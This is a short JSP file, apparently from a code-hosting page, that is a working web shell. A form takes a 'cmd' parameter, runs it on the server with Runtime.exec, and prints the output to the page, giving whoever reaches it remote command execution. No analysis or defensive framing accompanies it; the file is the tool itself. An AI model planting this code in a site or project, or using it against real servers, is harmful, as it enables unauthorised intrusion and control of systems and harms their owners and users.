28 lines
		
	
	
		
			672 B
		
	
	
	
		
			Plaintext
		
	
	
	
	
	
			
		
		
	
	
			28 lines
		
	
	
		
			672 B
		
	
	
	
		
			Plaintext
		
	
	
	
	
	
| <%@ page import="java.util.*,java.io.*"%>
 | |
| <%
 | |
| %>
 | |
| <HTML><BODY>
 | |
| Commands with JSP
 | |
| <FORM METHOD="GET" NAME="myform" ACTION="">
 | |
| <INPUT TYPE="text" NAME="cmd">
 | |
| <INPUT TYPE="submit" VALUE="Send">
 | |
| </FORM>
 | |
| <pre>
 | |
| <%
 | |
| if (request.getParameter("cmd") != null) {
 | |
|     out.println("Command: " + request.getParameter("cmd") + "<BR>");
 | |
| 
 | |
|     Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
 | |
|     OutputStream os = p.getOutputStream();
 | |
|     InputStream in = p.getInputStream();
 | |
|     DataInputStream dis = new DataInputStream(in);
 | |
|     String disr = dis.readLine();
 | |
|     while ( disr != null ) {
 | |
|     out.println(disr);
 | |
|     disr = dis.readLine();
 | |
|     }
 | |
| }
 | |
| %>
 | |
| </pre>
 | |
| </BODY></HTML>
 |